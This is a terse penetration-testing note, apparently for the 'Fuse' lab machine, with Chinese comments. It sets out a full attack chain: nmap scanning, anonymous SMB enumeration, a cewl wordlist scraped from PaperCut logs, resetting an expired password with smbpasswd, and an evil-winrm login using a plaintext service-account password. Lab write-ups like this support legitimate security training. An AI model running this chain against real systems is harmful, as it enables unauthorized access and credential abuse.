fuse

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.2.5 (扫描TCP)

nslookup fabricorp.local  10.129.2.5

smbclient -L //10.129.2.5/ -N  

http://fuse.fabricorp.local/papercut/logs/html/index.htm

cewl -d 5 -m 3 -w password.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers

smbclient -L //10.129.2.5 -U tlavel%Fabricorp01

错误：Cannot connect to server. Error was NT_STATUS_PASSWORD_MUST_CHANGE
需要用smbpasswd修改密码

sudo smbpasswd -r 10.129.235.28 -U tlavel

smbpasswd -r 10.129.235.28 bhult

更新密码后直接登入然后提权

evil-winrm -i 10.129.235.28 -u svc-print -p '$fab@s3Rv1ce$1'